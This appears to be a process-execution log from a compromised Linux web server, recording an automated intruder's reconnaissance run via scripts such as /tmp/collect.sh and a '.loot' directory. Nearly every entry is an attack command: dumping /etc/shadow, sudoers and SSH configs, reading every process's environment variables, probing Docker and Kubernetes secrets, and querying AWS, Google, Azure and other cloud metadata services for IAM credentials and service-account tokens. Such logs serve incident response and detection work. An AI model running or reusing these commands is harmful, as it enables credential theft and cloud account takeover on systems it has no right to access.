getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
|
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | whoami |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | cat /etc/os-release |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | sh -> sh | uname -a |
| 2026-10-31 01:40:17 | Not attributed | Not attributed | bash -> bash | sh /tmp/collect.sh -i 1422 -n <REDACTED>-443-2 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 ; cut -c1-80 ; tr \0 |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | df -iP |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | df -hP |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | free -m |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | free -h |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo |
| 2026-10-31 01:40:22 | Not attributed | Not attributed | sh -> sh | nproc |
| 2026-10-31 01:40:27 | Not attributed | Not attributed | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n |
| 2026-10-31 01:40:27 | Not attributed | Not attributed | sh -> sh | lsblk |
| 2026-10-31 01:40:49 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /etc/hosts |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /etc/resolv.conf |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /proc/net/udp /proc/net/udp6 |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /proc/net/arp |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /proc/net/route |
| 2026-10-31 01:40:52 | Not attributed | Not attributed | sh -> sh | cat /proc/net/tcp /proc/net/tcp6 |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | ps auxww |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro |
| 2026-10-31 01:40:57 | Not attributed | Not attributed | sh -> sh | awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | ls -la /root/.ssh /home/*/.ssh |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | cat /root/.ssh/config /home/*/.ssh/config |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
|
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | ls -la /etc/sudoers.d |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | w |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | ls -la /root |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | cat /etc/gshadow |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | cat /etc/shadow |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | who |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | ls -la /root /home |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | cat /etc/group |
| 2026-10-31 01:41:03 | Not attributed | Not attributed | sh -> sh | cat /etc/passwd |
| 2026-10-31 01:41:12 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" |
| 2026-10-31 01:41:12 | Not attributed | Not attributed | sh -> sh | ls -la /etc/profile.d |
| 2026-10-31 01:41:12 | Not attributed | Not attributed | sh -> sh | ls -la /etc/default /etc/sysconfig |
| 2026-10-31 01:41:12 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | timeout -> timeout | sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | ls -la /proc/1/root |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/secrets/kubernetes.io/serviceaccount/ |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | ls -la /run/secrets /var/run/secrets |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m |
| 2026-10-31 01:41:17 | Not attributed | Not attributed | sh -> sh | ls -la /.dockerenv /run/.containerenv |
| 2026-10-31 01:41:24 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type |
| 2026-10-31 01:41:24 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 |
| 2026-10-31 01:41:24 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone |
| 2026-10-31 01:41:29 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 |
| 2026-10-31 01:41:29 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname |
| 2026-10-31 01:41:37 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname |
| 2026-10-31 01:41:37 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info |
| 2026-10-31 01:41:37 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups |
| 2026-10-31 01:41:44 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token |
| 2026-10-31 01:41:44 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-10-31 01:41:49 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ |
| 2026-10-31 01:41:49 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data |
| 2026-10-31 01:41:49 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json |
| 2026-10-31 01:41:55 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ |
| 2026-10-31 01:41:55 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ |
| 2026-10-31 01:41:55 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id |
| 2026-10-31 01:41:55 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 2026-10-31 01:41:55 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | find /var/www /usr/share/nginx /srv/www -name .htaccess -type f |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep |
| 2026-10-31 01:42:00 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | |
| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /usr/local/etc/php -type f -size -256k |
| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /etc/apache2 -type f -size -256k |
| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot |
| 2026-10-31 01:42:05 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/<REDACTED>-443-2 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot |
